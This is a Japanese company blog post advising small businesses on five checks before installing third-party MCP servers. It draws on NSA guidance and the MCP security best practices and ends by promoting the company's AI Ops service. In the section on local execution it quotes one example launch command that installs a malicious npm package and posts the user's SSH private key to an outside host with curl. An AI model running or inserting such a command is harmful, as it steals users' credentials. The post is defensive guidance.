# MCPサーバーを導入する前に確認すべき5つの観点

> 中小企業がサードパーティMCPサーバーを導入する前に確認すべき点は、出所・権限範囲・ローカル実行リスクの3系統です。NSAの2026年ガイダンスに基づき5つの確認観点を解説します。

- Canonical: https://kuucorp.com/blog/mcp-server-vetting-checklist-smb/
- Date: 2026-08-21
- Last modified: 2026-08-21
- Publisher: Kuu株式会社 (https://kuucorp.com)

---
Claude DesktopやClaude Codeに、便利そうなサードパーティ製[MCP（Model Context Protocol）](/glossary/mcp/)サーバーをワンクリックで追加した経験はないでしょうか。設定ファイルに1行足すだけで社内のAIエージェントに新しいツールが増える手軽さの裏で、そのサーバーが何にアクセスし、何を外部に送信しているかを確認しないまま導入しているケースは少なくありません。

IT部門が小規模な中小企業では、MCPサーバーの導入判断が現場の担当者一人に委ねられがちです。本記事では、米国家安全保障局（NSA）が2026年に公開した技術ガイダンスとMCP公式のセキュリティ仕様をもとに、導入前に確認すべき5つの観点を整理します。

## なぜMCPサーバーの導入前チェックが必要なのか

> MCPサーバーはAIエージェントと同じ権限で動作するため、未検証のまま導入するとファイル操作や外部送信を許してしまいます。

MCPサーバーはAIエージェントとツール・データソースをつなぐ仲介役ですが、多くの場合クライアントと同じユーザー権限で動作します。ドキュメント検索用のMCPサーバーがファイルシステム全体への読み書き権限を要求していたら、それは用途に対して過剰な権限です。NSAのガイダンス「Model Context Protocol: Security Design Considerations for AI-Driven Automation」は、MCPの急速な普及がセキュリティ対策の整備を上回っており、AIが自律的に新しいツールを使い始める「制御されない自動アクション」と、システム間を通過するデータの検査不足を主要リスクとして挙げています。中小企業の場合、専任のセキュリティ担当者がいないままこのリスクに向き合うことになるため、導入前のチェックを個人の判断ではなく手順化しておく価値があります。

## ローカル実行のMCPサーバーは何が危険なのか

> ローカルMCPサーバーはクライアントと同じ権限でコマンドを実行できるため、悪意ある起動コマンドが仕込まれると即座にデータ窃取や改ざんにつながります。

MCP公式のセキュリティベストプラクティスは、ローカルで実行するMCPサーバーを重大なリスク領域として扱っています。ワンクリック設定を許すクライアントでは、`npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com`のような起動コマンドがそのまま実行される可能性があり、ユーザーには何が実行されているかの可視性がありません。公式ガイドは、クライアント側に「実行される正確なコマンドを省略せず表示する」「サンドボックス環境で実行する」「ファイルシステム・ネットワークへのアクセスを制限する」対策を求めています。中小企業では業務用PCとプライベート用途が混在しやすく、SSHキーや認証情報が同じマシン上にあることが多いため、このリスクは軽視できません。

## 導入前に確認すべき5つの観点

> 出所の確認・権限の妥当性・実行環境の分離・監査ログの有無・更新管理の5点を導入前チェックの基本項目とします。

以下の5点を、新しいMCPサーバーを追加する前のチェックリストとして運用します。

1. **提供元の実在性**: GitHub組織やnpm公開者が、名乗っている企業・プロジェクトと一致するか。フォークや類似名のなりすましパッケージでないかを確認する
2. **要求権限の妥当性**: ドキュメント検索用のサーバーがファイルシステムの書き込み権限を求めていないか、天気情報を返すだけのサーバーがシェルコマンド実行権限を求めていないか。用途と権限の釣り合いを見る
3. **実行環境の分離**: ローカル実行の場合、コンテナやサンドボックスで動かせるか。少なくともホームディレクトリ全体やSSH鍵の保存先へのアクセスを制限できるか
4. **バージョン固定と変更履歴**: 一度信頼したサーバーでも、将来の更新で悪意あるコードが混入する可能性があるため、バージョンを固定し更新時は差分を確認する運用にする
5. **監査ログの有無**: どのツール呼び出しが行われたかをログとして残せるか。異常な呼び出しパターンに後から気づける状態を作っておく

NSAのガイダンスも、組織として「信頼できる提供元による、保守が行き届いたMCPツールを使っているか」を検証し、導入前にコード監査を行うことを推奨しています。

## 権限設計とインベントリ管理をどう運用に組み込むか

> 導入済みMCPサーバーの一覧・バージョン・既知の懸念事項を記録した台帳を維持すると、脆弱性公表時の対応が早くなります。

チェックリストによる導入前審査に加えて、NSAは「デプロイ済みのMCPエージェント・ツールの明確なインベントリを、バージョン・パッチ履歴・既知のセキュリティ懸念とともに維持すること」を求めています。中小企業であれば、スプレッドシート1枚で構わないので「どの部署が」「どのMCPサーバーを」「いつ導入し」「最後に確認したのはいつか」を記録するだけで十分な効果があります。この台帳があれば、あるMCPサーバーに脆弱性が公表された際に、自社の影響範囲を数分で把握できます。逆に台帳がない状態では、影響有無の確認だけで数日かかることもあります。

権限面では、MCP公式仕様が強調する「スコープの最小化」も中小企業レベルで実践できます。全ツールへのアクセスを一括許可するのではなく、読み取り専用の操作から始め、書き込みや外部送信が必要な操作だけを個別に許可する運用にすることで、万一トークンが漏洩した際の被害範囲を抑えられます。[Kuuのエージェントガバナンス支援（AI Ops）](https://kuucorp.com/services/ai-ops/)では、こうした導入前チェックとインベントリ管理を、専任のセキュリティ担当者がいない企業でも運用できる形で設計しています。

## 参考

- [Security Best Practices - Model Context Protocol](https://modelcontextprotocol.io/docs/2026-07-28/tutorials/security/security_best_practices)
- [NSA "Model Context Protocol: Security Design Considerations for AI-Driven Automation"（CSI_MCP_SECURITY.PDF）](https://media.defense.gov/2026/Jun/02/2003943289/-1/-1/0/CSI_MCP_SECURITY.PDF)

## まとめ

サードパーティ製MCPサーバーの導入は、社内のAIエージェントに新しい能力を1行の設定で追加できる一方、クライアントと同じ権限でコードが実行される点でソフトウェアサプライチェーンと同種のリスクを持ちます。提供元の実在性・要求権限の妥当性・実行環境の分離・バージョン管理・監査ログという5つの観点を導入前チェックとして手順化し、導入後はインベントリで台帳管理する。この2段構えだけで、専任のセキュリティ担当者がいない中小企業でも実践可能な統制水準に到達できます。MCPサーバーの導入判断や運用体制の設計に悩む場合は、[Kuu株式会社](https://kuucorp.com/services/ai-ops/)にお問い合わせください。